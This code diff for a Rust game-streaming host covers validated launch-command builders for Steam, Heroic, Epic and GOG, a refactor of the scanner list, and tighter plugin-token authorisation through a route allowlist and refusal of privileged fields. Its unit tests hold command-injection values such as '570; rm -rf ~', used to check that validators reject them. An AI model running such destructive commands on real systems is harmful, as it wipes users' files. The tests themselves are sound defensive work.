None => format!("explorer.exe \"{uri}\""),
};
Some((cmdline, None))
}
// Epic: open the (host-built, validated) com.epicgames.launcher:// URI via explorer.exe — a
// concrete EXE that resolves the registered protocol handler as the user; the URI is a single
// argv element (no shell, no cmd /c). Same pattern as the steam explorer fallback.
@@ -215,119 +191,6 @@ fn steam_exe() -> Option<std::path::PathBuf> {
None
}
// ------------------------------------------------------- per-kind launch values (host-owned ABI)
//
// Each helper below turns a store's launch VALUE — the only part a scanner (or, after extraction, a
// library plugin) supplies — into the URI/command line the host actually runs. They live here rather
// than beside the enumeration that produces the value because the host keeps owning URI construction
// and spawning no matter where the enumeration came from (D1). Every one of them is total and
// validating: an unparseable or hostile value yields `None`, never a partially-interpolated command.
/// A digits-only Steam appid: the sole client-influenced part of a Steam launch, validated before it
/// is interpolated into any command / URI (so a client-sent id can never carry shell or URI syntax).
/// Cross-platform — used by the Linux shell mapping ([`command_for`]) and the Windows spawn mapping
/// ([`windows_launch_for`]).
///
/// Also accepts the 64-bit non-Steam-shortcut game id ([`shortcut_gameid`]), which is likewise
/// digits — the two share the `steam_appid` kind precisely because `rungameid` takes either.
pub(crate) fn valid_steam_appid(value: &str) -> bool {
!value.is_empty() && value.bytes().all(|b| b.is_ascii_digit())
}
/// The 64-bit game id `steam://rungameid/` needs to launch a non-Steam shortcut: high dword = the
/// 32-bit shortcut appid, low dword = the shortcut marker `0x0200_0000`. (Handing `rungameid` the
/// bare 32-bit appid does not launch a shortcut — it must be this composed id.)
pub(crate) fn shortcut_gameid(appid: u32) -> u64 {
((appid as u64) << 32) | 0x0200_0000
}
/// The `steam_ui` launch values (D4) — which Steam UI a launcher entry opens. A closed two-value
/// enum, validated on the way IN (the reconcile payload) as well as on the way out, so an entry can
/// never carry a third value that silently resolves to nothing at launch time.
pub(crate) fn valid_steam_ui(value: &str) -> bool {
matches!(value, "bigpicture" | "desktop")
}
/// Map a `heroic` LaunchSpec value (`<runner>:<appName>`) to the Heroic launch command, run nested in
/// gamescope. The host owns this mapping; the client only ever sends the id. CAVEAT: Heroic is a
/// single-instance Electron app — in a fresh per-session gamescope it boots, launches the game (which
/// renders into that gamescope) and stays hidden via `--no-gui`; but if a Heroic GUI is ALREADY
/// running on the box, the spawned process forwards the URI and exits, which would tear the session
/// down. The validated path is the fresh-session case; needs live confirmation on a box with Heroic.
#[cfg(target_os = "linux")]
pub(crate) fn heroic_command(value: &str) -> Option<String> {
let (runner, app) = value.split_once(':')?;
if !matches!(runner, "legendary" | "gog" | "nile") {
return None;
}
// appName charset (Epic alnum, GOG digits, Amazon alnum) — keep the URI a single safe token.
if app.is_empty()
|| !app
.bytes()
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
{
return None;
}
let prefix = heroic_launch_prefix()?;
// No quotes: gamescope spawns the app by `split_whitespace()`, and the URI has no spaces (appName
// is validated above) so it stays a single argv token; `&` is fine (exec'd, not shell-parsed).
Some(format!(
"{prefix} --no-gui heroic://launch?appName={app}&runner={runner}"
))
}
/// How to invoke Heroic: the native `heroic` binary if on `PATH`, else the Flatpak app if its data
/// root is present. `None` ⇒ Heroic not found, so no launch command.
#[cfg(target_os = "linux")]
fn heroic_launch_prefix() -> Option<String> {
let on_path = std::env::var_os("PATH")
.is_some_and(|paths| std::env::split_paths(&paths).any(|d| d.join("heroic").is_file()));
if on_path {
return Some("heroic".into());
}
let flatpak = std::env::var_os("HOME")
.map(PathBuf::from)
.is_some_and(|h| h.join(".var/app/com.heroicgameslauncher.hgl").is_dir());
flatpak.then(|| "flatpak run com.heroicgameslauncher.hgl".into())
}
/// Map an `epic` LaunchSpec value to the Epic Games Launcher URI. The value is either the full
/// `<namespace>:<catalogItemId>:<appName>` triple (what the manifests carry) or a bare `appName`;
/// every part is charset-checked so the URI stays one safe argv token.
#[cfg(windows)]
pub(crate) fn epic_launch_uri(value: &str) -> Option<String> {
let ok = |s: &str| {
!s.is_empty()
&& s.bytes()
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
};
let inner = match value.split(':').collect::<Vec<_>>().as_slice() {
[ns, cat, app] if ok(ns) && ok(cat) && ok(app) => format!("{ns}%3A{cat}%3A{app}"),
[app] if ok(app) => (*app).to_string(),
_ => return None,
};
Some(format!(
"com.epicgames.launcher://apps/{inner}?action=launch&silent=true"
))
}
/// Map a `gog` LaunchSpec value — the tab-separated `exe \t args \t workdir` spawn triple the scanner
/// derived from `goggame-<id>.info` — to a `(command line, working dir)`. GOG games are spawned
/// directly (no Galaxy), so the exe is quoted and the arguments ride verbatim.
#[cfg(windows)]
pub(crate) fn gog_spawn(value: &str) -> Option<(String, Option<PathBuf>)> {
let mut parts = value.split('\t');
let exe = parts.next().filter(|s| !s.is_empty())?;
let args = parts.next().unwrap_or("");
let workdir = parts.next().filter(|s| !s.is_empty()).map(PathBuf::from);
let cmdline = if args.trim().is_empty() {
format!("\"{exe}\"")
} else {
format!("\"{exe}\" {args}")
};
Some((cmdline, workdir))
}
/// Launch a GameStream `apps.json` command (operator-typed, trusted — never client-set) into the
/// interactive Windows user session, AFTER capture is up (the host is SYSTEM). The Linux paths go
/// through the compositor-aware [`launch_session_command`] instead.
@@ -497,101 +360,6 @@ mod tests {
}
}
/// The `steam_ui` launcher kind (D4): a closed two-value enum, mapped to the Steam client's own
/// UI on each OS. Nothing from the entry is interpolated — the value only SELECTS between two
/// host-owned literals — so there is no injection surface at all here.
#[test]
fn steam_ui_is_a_closed_two_value_enum() {
assert!(valid_steam_ui("bigpicture"));
assert!(valid_steam_ui("desktop"));
assert!(!valid_steam_ui("gamepadui"));
assert!(!valid_steam_ui(""));
assert!(!valid_steam_ui("bigpicture; rm -rf ~"));
}
#[cfg(not(windows))]
#[test]
fn steam_ui_resolves_to_the_client_ui_on_linux() {
let ui = |v: &str| {
command_for(&LaunchSpec {
kind: "steam_ui".into(),
value: v.into(),
})
};
// Big Picture is the SteamOS game-mode shape; nested in gamescope this is what `--steam`
// integration is built around.
assert_eq!(ui("bigpicture").as_deref(), Some("steam -gamepadui"));
assert_eq!(ui("desktop").as_deref(), Some("steam"));
assert_eq!(ui("nonsense"), None);
assert_eq!(ui(""), None);
}
#[cfg(windows)]
#[test]
fn steam_ui_resolves_to_the_client_ui_on_windows() {
let ui = |v: &str| {
windows_launch_for(&LaunchSpec {
kind: "steam_ui".into(),
value: v.into(),
})
};
let (bp, wd) = ui("bigpicture").expect("bigpicture recipe");
assert!(bp.contains("steam://open/bigpicture"), "line was {bp:?}");
assert!(wd.is_none());
let (desk, _) = ui("desktop").expect("desktop recipe");
assert!(desk.contains("steam://open/main"), "line was {desk:?}");
assert!(ui("nonsense").is_none());
assert!(ui("").is_none());
}
#[test]
fn steam_appid_validation_accepts_appids_and_shortcut_gameids() {
assert!(valid_steam_appid("570"));
// The 64-bit shortcut game id shares the `steam_appid` kind — `rungameid` takes either.
assert!(valid_steam_appid(
&shortcut_gameid(2_456_789_012).to_string()
));
assert!(!valid_steam_appid(""));
assert!(!valid_steam_appid("570; rm -rf ~"));
assert!(!valid_steam_appid("-1"));
}
/// Moved here with `shortcut_gameid` (WP1.1): the composed id is launch vocabulary, not
/// enumeration — the scanner only supplies the 32-bit appid it read out of `shortcuts.vdf`.
#[test]
fn shortcut_gameid_composes_appid_and_marker() {
let id = shortcut_gameid(0x8000_0000);
assert_eq!(id >> 32, 0x8000_0000, "high dword is the shortcut appid");
assert_eq!(id & 0xFFFF_FFFF, 0x0200_0000, "low dword is the marker");
}
#[cfg(windows)]
#[test]
fn epic_launch_uri_triple_bare_and_guard() {
assert_eq!(
epic_launch_uri("fn:abc:Fortnite").as_deref(),
Some("com.epicgames.launcher://apps/fn%3Aabc%3AFortnite?action=launch&silent=true")
);
assert_eq!(
epic_launch_uri("Fortnite").as_deref(),
Some("com.epicgames.launcher://apps/Fortnite?action=launch&silent=true")
);
assert!(epic_launch_uri("bad part:x:y").is_none()); // a space → rejected
assert!(epic_launch_uri("").is_none());
}
#[cfg(windows)]
#[test]
fn gog_spawn_parses_and_guards() {
let (cmd, wd) = gog_spawn("C:\\Games\\W3\\witcher3.exe\t--skip\tC:\\Games\\W3").unwrap();
assert_eq!(cmd, "\"C:\\Games\\W3\\witcher3.exe\" --skip");
assert_eq!(wd, Some(std::path::PathBuf::from("C:\\Games\\W3")));
let (cmd2, wd2) = gog_spawn("C:\\g.exe").unwrap();
assert_eq!(cmd2, "\"C:\\g.exe\"");
assert!(wd2.is_none());
assert!(gog_spawn("").is_none());
}
#[cfg(windows)]
#[test]
fn windows_launch_for_maps_and_guards() {
@@ -84,7 +84,6 @@ fn lutris_games(db: &Path) -> rusqlite::Result<Vec<GameEntry>> {
for (id, slug, name, directory) in rows.flatten() {
games.push(GameEntry {
provider: None,
role: GameRole::Game,
meta: GameMeta::pc(),
id: format!("lutris:{id}"),
store: "lutris".into(),
+14 -103
View File
@@ -12,41 +12,19 @@
use super::*;
/// One **game source** on this host, with its enable state — the unit the console renders a toggle
/// for. A source is either a scanner compiled into this build or a plugin that reconciles entries in
/// (WP2.6); the console treats them identically, which is what makes the extraction invisible.
/// One installed-store scanner this host build supports, with its enable state — the unit the
/// console renders a toggle for. The list is platform-gated at compile time (the scanners are),
/// so the console never shows a toggle that cannot do anything on this host.
#[derive(Clone, Debug, Serialize, ToSchema)]
pub struct ScannerInfo {
/// Stable source id — the same string this source's entries carry in their `store` field. For a
/// plugin source it is also its provider id and its store claim: one string, by construction, so
/// a user's disabled state survives a built-in scanner being replaced by its plugin.
/// Stable scanner id — the same string the scanner's entries carry in their `store` field.
#[schema(example = "steam")]
pub id: String,
/// Human-facing name for the console toggle.
#[schema(example = "Steam")]
pub label: String,
/// Whether this host runs the source (default true).
/// Whether this host runs the scanner (default true).
pub enabled: bool,
/// Where the source comes from: `builtin` (a scanner in this host build) or `plugin`.
#[schema(example = "builtin")]
pub origin: SourceOrigin,
/// The provider id backing a `plugin` source — absent for a built-in scanner.
#[serde(skip_serializing_if = "Option::is_none")]
pub provider: Option<String>,
/// How many entries this source currently contributes. `None` for a built-in scanner, whose
/// count would mean walking every launcher's files just to render a toggle.
#[serde(skip_serializing_if = "Option::is_none")]
pub entries: Option<usize>,
}
/// Where a [`ScannerInfo`] comes from.
#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, ToSchema)]
#[serde(rename_all = "lowercase")]
pub enum SourceOrigin {
/// A scanner compiled into this host build.
Builtin,
/// A plugin reconciling entries over the provider API.
Plugin,
}
/// The scanners compiled into THIS host build: (id, label). Steam is cross-platform; the rest are
@@ -109,93 +87,26 @@ pub(crate) fn disabled_scanners() -> HashSet<String> {
load_settings().disabled.into_iter().collect()
}
/// Every game source on this host with its current enable state (WP2.6):
///
/// 1. the built-in scanners this build compiled in, **minus** any whose store a plugin has claimed
/// (the plugin replaces it, so showing both would offer two toggles for one thing);
/// 2. the claimed stores themselves, as plugin sources;
/// 3. any other provider that has entries — the *emergent* case (rom-manager, playnite), which has
/// never had a toggle before and gets one for free here.
///
/// Built-ins keep their fixed definition order (stable for the console); plugin sources follow,
/// sorted by id.
/// The scanners available on this platform with their current enable state, in the fixed
/// definition order (stable for the console).
pub fn list_scanners() -> Vec<ScannerInfo> {
let off = disabled_scanners();
let claims = crate::library::claimed_stores();
let entries = crate::library::load_custom();
let mut out: Vec<ScannerInfo> = scanner_defs()
scanner_defs()
.into_iter()
.filter(|(id, _)| !claims.contains_key(*id))
.map(|(id, label)| ScannerInfo {
id: id.to_string(),
label: label.to_string(),
enabled: !off.contains(id),
origin: SourceOrigin::Builtin,
provider: None,
entries: None,
})
.collect();
// A claimed store shows under the SCANNER's label where we know one, so the row a user has been
// toggling for releases doesn't rename itself out from under them mid-migration.
let label_for = |id: &str| {
scanner_defs()
.into_iter()
.find(|(sid, _)| *sid == id)
.map(|(_, label)| label.to_string())
.unwrap_or_else(|| id.to_string())
};
let mut plugin_ids: Vec<(String, String)> = claims
.iter()
.map(|(store, provider)| (store.clone(), provider.clone()))
.collect();
// Emergent providers: any provider with entries that isn't already listed via a claim.
for e in &entries {
let Some(provider) = e.provider.as_deref() else {
continue;
};
if e.store.is_none() && !plugin_ids.iter().any(|(id, _)| id == provider) {
plugin_ids.push((provider.to_string(), provider.to_string()));
}
}
plugin_ids.sort();
plugin_ids.dedup();
out.extend(plugin_ids.into_iter().map(|(id, provider)| {
let count = entries
.iter()
.filter(|e| crate::library::source_id_for(e) == Some(id.as_str()))
.count();
ScannerInfo {
label: label_for(&id),
enabled: !off.contains(&id),
origin: SourceOrigin::Plugin,
provider: Some(provider),
entries: Some(count),
id,
}
}));
out
.collect()
}
/// Whether `id` names a source that exists on this host right now — a compiled-in scanner, a claimed
/// store, or a provider with entries. The toggle accepts exactly these (an unknown id still 404s).
fn is_known_source(id: &str) -> bool {
scanner_defs().iter().any(|(sid, _)| *sid == id) || list_scanners().iter().any(|s| s.id == id)
}
/// Enable/disable one source. `None` when `id` names no source on this host (the mgmt layer maps
/// that to 404 — the console only ever sees this host's own list). Persists and emits
/// `library.changed` (source = the id) only when the state actually changed, so a repeated PUT is a
/// cheap no-op.
///
/// The **same** `library-scanners.json` disabled-set backs built-in and plugin sources alike, and
/// the ids match by construction — so a user who disabled `steam` before the migration still has it
/// disabled after the steam plugin claims the store, with nothing to carry over.
/// Enable/disable one scanner. `None` when `id` names no scanner available on this platform (the
/// mgmt layer maps that to 404 — the console only ever sees this host's own list). Persists and
/// emits `library.changed` (source = the scanner id) only when the state actually changed, so a
/// repeated PUT is a cheap no-op.
pub fn set_scanner_enabled(id: &str, enabled: bool) -> Result<Option<Vec<ScannerInfo>>> {
if !is_known_source(id) {
if !scanner_defs().iter().any(|(sid, _)| *sid == id) {
return Ok(None);
}
let mut settings = load_settings();
+12 -5
View File
@@ -29,7 +29,6 @@ impl LibraryProvider for SteamProvider {
.filter(|app| !is_steam_tool(app.appid, &app.name))
.map(|app| GameEntry {
provider: None,
role: GameRole::Game,
meta: GameMeta::pc(),
id: format!("steam:{}", app.appid),
store: "steam".into(),
@@ -384,7 +383,6 @@ fn shortcut_entry(sc: Shortcut) -> Option<GameEntry> {
}
Some(GameEntry {
provider: None,
role: GameRole::Game,
meta: GameMeta::pc(),
id: format!("steam:{}", sc.appid),
store: "steam".into(),
@@ -428,8 +426,12 @@ fn shortcuts_files() -> Vec<PathBuf> {
files
}
// `shortcut_gameid` (the 64-bit `rungameid` composition) moved to `launch.rs` (WP1.1) — it is launch
// vocabulary; this module only reads the 32-bit appid out of `shortcuts.vdf`.
/// The 64-bit game id `steam://rungameid/` needs to launch a non-Steam shortcut: high dword = the
/// 32-bit shortcut appid, low dword = the shortcut marker `0x0200_0000`. (Handing `rungameid` the
/// bare 32-bit appid does not launch a shortcut — it must be this composed id.)
fn shortcut_gameid(appid: u32) -> u64 {
((appid as u64) << 32) | 0x0200_0000
}
/// The 32-bit appid Steam derives for a shortcut from its target+name — `crc32(exe + name)` with the
/// high bit set. Only used when `shortcuts.vdf` omits the stored `appid` (very old Steam); modern
@@ -760,7 +762,12 @@ mod tests {
assert!(launch.value.bytes().all(|b| b.is_ascii_digit()));
}
// `shortcut_gameid_composes_appid_and_marker` moved with the function to `launch.rs` (WP1.1).
#[test]
fn shortcut_gameid_composes_appid_and_marker() {
let id = shortcut_gameid(0x8000_0000);
assert_eq!(id >> 32, 0x8000_0000); // high dword is the appid
assert_eq!(id & 0xFFFF_FFFF, 0x0200_0000); // low dword is the shortcut marker
}
#[test]
fn crc32_matches_the_known_check_value_and_derives_a_high_bit_appid() {
@@ -70,7 +70,6 @@ fn xbox_games() -> Vec<GameEntry> {
let art = cached_art(&id).unwrap_or_default();
games.push(GameEntry {
provider: None,
role: GameRole::Game,
meta: GameMeta::pc(),
id,
store: "xbox".into(),
+10 -1
View File
@@ -796,7 +796,16 @@ fn parse_serve(args: &[String]) -> Result<(mgmt::Options, native::NativeServe, b
// The scripting runner's scoped credential: minted + persisted (plugin-token) alongside the
// admin token so a plugin's zero-config `connect()` picks it up — it authorizes the plugin
// surface but not hook registration or pairing administration (mgmt::auth::plugin_may_access).
opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?);
//
// Only when a runner is actually installed. It used to be minted unconditionally on every
// `serve`, so a host with no plugins — the common case — still persisted a second
// admin-adjacent credential to disk and kept a second authentication lane live for a
// subsystem it does not run (2026-08-05 review L-21). Installing the runner later mints it on
// the next start, and an existing plugin-token file is picked up unchanged, so nothing about
// the plugin flow changes for a host that has one.
if crate::plugins::runtime_status().installed {
opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?);
}
// Default the mgmt listener to ALL interfaces (not just loopback) so a paired native client can
// fetch the game library over mTLS with no operator step — the whole point of "browse works by
// default". This only LAN-exposes the read-only cert allowlist; the bearer-token admin surface
+143 -30
View File
@@ -17,6 +17,42 @@ use axum::http::Method;
use axum::middleware::Next;
use sha2::{Digest, Sha256};
/// **Which credential authorized this request**, attached to the request extensions by
/// [`require_auth`] on every request it forwards.
///
/// [`plugin_may_access`] answers "may this lane reach this route"; this answers "may this lane set
/// this *field*". Some payloads carry operator-privileged fields on routes a plugin otherwise has
/// every business calling — the library reconcile is the case that matters: a provider plugin owns
/// its entry set, but `prep` and `launch.kind == "command"` are executed verbatim as the host user
/// (`/bin/sh -c` / `cmd.exe /c`), which is the same primitive the `/hooks` carve-out withholds.
/// Route-level authorization cannot express that; a handler holding this can (see
/// [`crate::library::reject_privileged_fields`]).
///
/// Extracted by handlers as `Extension<AuthLane>`. A missing extension is a 500, not a default —
/// a router that forgot the middleware must fail closed, never silently grant admin.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub(crate) enum AuthLane {
/// The operator's admin bearer token (loopback): everything, including the privileged fields.
Admin,
/// The scripting runner's scoped bearer token (loopback): [`plugin_may_access`] routes, and
/// never the operator-privileged fields inside them.
Plugin,
/// A paired streaming client certificate (mTLS, LAN): the read-only [`cert_may_access`] set.
Cert,
/// An always-open route (`/health`) or the loopback-only tray summary — no credential at all.
Public,
}
impl AuthLane {
/// Whether this lane may set fields that become command execution as the host user. Only the
/// operator's own token may: the console is the surface where the operator types a command, and
/// typing it there is the trust decision. Everything else is refused, including a paired cert
/// (which cannot reach a write route anyway — belt and braces if the allowlist ever grows).
pub(crate) fn may_set_privileged_fields(self) -> bool {
matches!(self, AuthLane::Admin)
}
}
/// Auth gate on the `/api/v1` routes: a paired client cert (mTLS, from anywhere) or the bearer token
/// (from a **loopback** peer only) — required always (the host runs with a token by construction).
/// `/api/v1/health` stays open for probes; `/api/v1/local/summary` is open to loopback peers only
@@ -28,8 +64,15 @@ pub(crate) async fn require_auth(
req: Request,
next: Next,
) -> Response {
/// Stamp the authorizing lane onto the request before it reaches a handler, so a handler can
/// refuse operator-privileged FIELDS to a non-operator lane (see [`AuthLane`]).
async fn forward(mut req: Request, next: Next, lane: AuthLane) -> Response {
req.extensions_mut().insert(lane);
next.run(req).await
}
if req.uri().path() == "/api/v1/health" {
return next.run(req).await; // liveness probe is always open
return forward(req, next, AuthLane::Public).await; // liveness probe is always open
}
// The tray icon's status source: non-sensitive counts/booleans only, unauthenticated but
// confined to LOOPBACK peers. The bearer-token file (and cert.pem) are SYSTEM/Administrators-
@@ -43,7 +86,7 @@ pub(crate) async fn require_auth(
.get::<PeerAddr>()
.is_none_or(|a| a.0.ip().is_loopback());
return if from_loopback {
next.run(req).await
forward(req, next, AuthLane::Public).await
} else {
api_error(
StatusCode::UNAUTHORIZED,
@@ -61,7 +104,7 @@ pub(crate) async fn require_auth(
if cert_may_access(req.method(), req.uri().path())
&& st.native.as_ref().is_some_and(|n| n.is_paired(fp))
{
return next.run(req).await;
return forward(req, next, AuthLane::Cert).await;
}
}
// Otherwise require the bearer token (the web console / admin) — but only from a LOOPBACK peer.
@@ -92,7 +135,7 @@ pub(crate) async fn require_auth(
.and_then(|v| v.to_str().ok())
.and_then(|v| v.strip_prefix("Bearer "));
match presented {
Some(token) if token_eq(token, expected) => next.run(req).await,
Some(token) if token_eq(token, expected) => forward(req, next, AuthLane::Admin).await,
// The scripting runner's scoped lane: same loopback confinement as the admin token, but
// routes that would let a plugin escalate — registering hooks (arbitrary command
// execution as the host user) or administering pairing (admitting/ejecting devices,
@@ -105,7 +148,7 @@ pub(crate) async fn require_auth(
.is_some_and(|pt| token_eq(token, pt)) =>
{
if plugin_may_access(req.method(), req.uri().path()) {
next.run(req).await
forward(req, next, AuthLane::Plugin).await
} else {
api_error(
StatusCode::FORBIDDEN,
@@ -121,9 +164,18 @@ pub(crate) async fn require_auth(
}
}
/// Which routes the scripting runner's **plugin token** may reach: the admin surface minus the
/// escalation routes. Exclusion-based (a plugin legitimately reads status/library/events, drives
/// sessions, and registers its UI lease), with these carve-outs:
/// The routes the scripting runner's **plugin token** may reach — an explicit **allowlist**, so a
/// route added later is denied until someone classifies it (`plugin_lane_classifies_every_route` in
/// `mgmt::tests` fails the build otherwise).
///
/// This gate used to be a denylist of route prefixes, and that is precisely how the 2026-08-05
/// review's H-1/H-2 arrived: `/api/v1/library` was never enumerated, so the plugin lane inherited
/// two copies of the very "arbitrary command execution as the host user" primitive the `/hooks`
/// carve-out exists to withhold, plus an unconfined file read. Every sibling gate in the system
/// (`cert_may_access`, the QUIC pairing gate, the console's `isPublicPath`) is deny-by-default;
/// this one now is too.
///
/// What stays *out* of the list, and why:
/// - **hooks** — `hooks.json` runs operator commands on lifecycle events; writing it is arbitrary
/// command execution as the host user, and reading it can expose webhook credentials.
/// - **pairing administration** — arming/approving/denying/unpairing (and PIN visibility) decide
@@ -133,29 +185,90 @@ pub(crate) async fn require_auth(
/// secret; only the console proxy (admin token) needs it.
/// - **the plugin store** — installing a plugin is running new code with operator privileges, and a
/// plugin that can do that is a persistence/escalation primitive: it could install a helper that
/// isn't constrained the way it is, or switch the runner's own service state. Denied wholesale
/// (reads included — the catalog is not sensitive, but there is no reason a plugin needs it, and
/// a whole-prefix deny can't be defeated by a route added later).
/// isn't constrained the way it is, or switch the runner's own service state.
/// - **the update surface** — operator business end to end (`apply` runs an installer / the root
/// helper).
///
/// The library *writes* below are on the list because a provider plugin's whole job is reconciling
/// its own entries — but the two operator-privileged FIELDS inside those payloads (`prep`, and
/// `launch.kind == "command"`) are refused to this lane in the handlers, via [`AuthLane`]. Route
/// reachability and field authority are separate questions and this gate only answers the first.
pub(crate) fn plugin_may_access(method: &Method, path: &str) -> bool {
let denied = path == "/api/v1/hooks"
|| path == "/api/v1/store"
|| path.starts_with("/api/v1/store/")
|| path == "/api/v1/pair"
|| path.starts_with("/api/v1/pair/")
|| path == "/api/v1/native/pair"
|| path.starts_with("/api/v1/native/pair/")
|| path == "/api/v1/native/pending"
|| path.starts_with("/api/v1/native/pending/")
|| (method == Method::DELETE
&& (path.starts_with("/api/v1/clients/")
|| path.starts_with("/api/v1/native/clients/")))
|| (path.starts_with("/api/v1/plugins/") && path.ends_with("/ui-credential"))
// The update surface is operator business end to end: today it is only a check, but
// the same prefix will carry `apply` (running an installer / the root helper), and a
// whole-prefix deny can't be defeated by a route added later.
|| path == "/api/v1/update"
|| path.starts_with("/api/v1/update/");
!denied
// (method, path) pairs, `{}` matching exactly one path segment. Grouped as the route table is.
const ALLOWED: &[(&Method, &str)] = &[
// Host / status reads.
(&Method::GET, "/api/v1/health"),
(&Method::GET, "/api/v1/host"),
(&Method::GET, "/api/v1/status"),
(&Method::GET, "/api/v1/local/summary"),
(&Method::GET, "/api/v1/compositors"),
(&Method::GET, "/api/v1/events"),
(&Method::GET, "/api/v1/logs"),
// The paired-device rosters: read-only. (DELETE is pairing administration — not listed.)
(&Method::GET, "/api/v1/clients"),
(&Method::GET, "/api/v1/native/clients"),
// GPU + display control: host configuration a plugin may legitimately steer (a room
// automation plugin swaps the layout with the lights); no privilege boundary crossed.
(&Method::GET, "/api/v1/gpus"),
(&Method::PUT, "/api/v1/gpus/preference"),
(&Method::GET, "/api/v1/display/settings"),
(&Method::PUT, "/api/v1/display/settings"),
(&Method::GET, "/api/v1/display/state"),
(&Method::GET, "/api/v1/display/monitors"),
(&Method::PUT, "/api/v1/display/layout"),
(&Method::POST, "/api/v1/display/release"),
(&Method::GET, "/api/v1/display/presets"),
(&Method::POST, "/api/v1/display/presets"),
(&Method::PUT, "/api/v1/display/presets/{}"),
(&Method::DELETE, "/api/v1/display/presets/{}"),
// Session control: stopping/steering a session is what a launcher plugin exists to do.
(&Method::DELETE, "/api/v1/session"),
(&Method::POST, "/api/v1/session/idr"),
(&Method::GET, "/api/v1/session/settings"),
(&Method::PUT, "/api/v1/session/settings"),
(&Method::POST, "/api/v1/game/end"),
// Library: reads, plus the provider reconcile a scanner plugin is built around. The
// operator-only FIELDS inside these payloads are refused separately (see `AuthLane`).
(&Method::GET, "/api/v1/library"),
(&Method::GET, "/api/v1/library/art/{}/{}"),
(&Method::GET, "/api/v1/library/scanners"),
(&Method::PUT, "/api/v1/library/scanners/{}"),
(&Method::POST, "/api/v1/library/custom"),
(&Method::PUT, "/api/v1/library/custom/{}"),
(&Method::DELETE, "/api/v1/library/custom/{}"),
(&Method::PUT, "/api/v1/library/provider/{}"),
(&Method::DELETE, "/api/v1/library/provider/{}"),
// Stats / telemetry.
(&Method::POST, "/api/v1/stats/capture/start"),
(&Method::POST, "/api/v1/stats/capture/stop"),
(&Method::GET, "/api/v1/stats/capture/status"),
(&Method::GET, "/api/v1/stats/capture/live"),
(&Method::GET, "/api/v1/stats/recordings"),
(&Method::GET, "/api/v1/stats/recordings/{}"),
(&Method::DELETE, "/api/v1/stats/recordings/{}"),
// The plugin's own directory entry + log ingest (its UI lease registration).
(&Method::GET, "/api/v1/plugins"),
(&Method::POST, "/api/v1/plugins/logs"),
(&Method::PUT, "/api/v1/plugins/{}"),
(&Method::DELETE, "/api/v1/plugins/{}"),
];
ALLOWED
.iter()
.any(|(m, pat)| *m == method && path_matches(pat, path))
}
/// Match a route pattern against a concrete path, `{}` standing for exactly one segment. Segment-
/// wise (never a substring/prefix test), so `/api/v1/plugins/{}` cannot swallow
/// `/api/v1/plugins/x/ui-credential` the way a `starts_with` would.
fn path_matches(pattern: &str, path: &str) -> bool {
let (mut p, mut a) = (pattern.split('/'), path.split('/'));
loop {
match (p.next(), a.next()) {
(None, None) => return true,
(Some(pe), Some(ae)) if pe == "{}" || pe == ae => continue,
_ => return false,
}
}
}
/// Which routes a paired *streaming* cert (mTLS, no bearer token) may reach: a small allowlist of
+100 -70
View File
@@ -1,8 +1,45 @@
//! Library-tagged management endpoints: installed-store + custom game entries and box art.
//! Split out of the `mgmt` facade (plan §W5).
use super::auth::AuthLane;
use super::shared::*;
use axum::http::header;
use axum::Extension;
/// Refuse a write whose payload carries an operator-privileged field to a lane that may not set one
/// (2026-08-05 review H-1), and refuse any local art path the proxy would not serve back (H-2).
///
/// Both checks belong here rather than in the route gate: `PUT /library/provider/{p}` is a route a
/// provider plugin must be able to call — reconciling its own entry set is the whole point of a
/// scanner plugin — while `prep` / `launch.kind = "command"` inside that payload are the operator's
/// authority alone. Route reachability and field authority are separate questions.
///
/// `Some(response)` is the refusal to return; `None` means the payload may proceed. Deliberately
/// not `Result<(), Response>`: the "error" here IS the response the handler sends, so there is no
/// error value to propagate, and a 128-byte `Response` in an `Err` variant is what
/// `clippy::result_large_err` objects to.
fn check_entry_fields(
lane: AuthLane,
art: &crate::library::Artwork,
launch: Option<&crate::library::LaunchSpec>,
prep: &[crate::hooks::PrepCmd],
) -> Option<Response> {
if !lane.may_set_privileged_fields() {
if let Some(field) = crate::library::privileged_field(launch, prep) {
return Some(api_error(
StatusCode::FORBIDDEN,
&format!(
"`{field}` is executed as the host user and may only be set with the \
operator's admin token a plugin may publish entries with any host-resolved \
launch kind (steam_appid, epic, gog, aumid, lutris_id, heroic) instead"
),
));
}
}
crate::library::validate_art_paths(art)
.err()
.map(|e| api_error(StatusCode::BAD_REQUEST, &e))
}
#[derive(Deserialize)]
pub(crate) struct LibraryQuery {
@@ -34,6 +71,7 @@ pub(crate) struct LibraryQuery {
)
)]
pub(crate) async fn get_library(
Extension(lane): Extension<AuthLane>,
Query(q): Query<LibraryQuery>,
) -> Json<Vec<crate::library::GameEntry>> {
let mut games = crate::library::all_games();
@@ -54,6 +92,24 @@ pub(crate) async fn get_library(
for g in &mut games {
crate::library::proxy_local_art(&g.id, &mut g.art);
}
// Redact the operator's command lines for every lane but their own (2026-08-05 review L-1).
//
// `cert_may_access` allows `GET /library`, so this response goes to every paired STREAMING
// client on the LAN — and for a custom entry `launch.value` is the raw shell command or
// absolute exe path the operator typed. The adjacent `detect` field is `#[serde(skip)]` for
// exactly this reason; `launch` simply never got the same treatment. Clients don't need it:
// a client picks a title by ID and the host resolves the recipe itself (`resolve_launch`),
// which is the invariant that stops a client injecting a command in the first place. The
// `kind` stays, so "this is launchable, and how" still renders.
if !lane.may_set_privileged_fields() {
for g in &mut games {
if let Some(l) = g.launch.as_mut() {
if l.kind == "command" {
l.value.clear();
}
}
}
}
Json(games)
}
@@ -141,11 +197,15 @@ pub(crate) async fn set_library_scanner(
)
)]
pub(crate) async fn create_custom_game(
Extension(lane): Extension<AuthLane>,
ApiJson(input): ApiJson<crate::library::CustomInput>,
) -> Response {
if input.title.trim().is_empty() {
return api_error(StatusCode::BAD_REQUEST, "title must not be empty");
}
if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) {
return denied;
}
match crate::library::add_custom(input) {
Ok(entry) => (StatusCode::CREATED, Json(entry)).into_response(),
Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
@@ -169,12 +229,16 @@ pub(crate) async fn create_custom_game(
)
)]
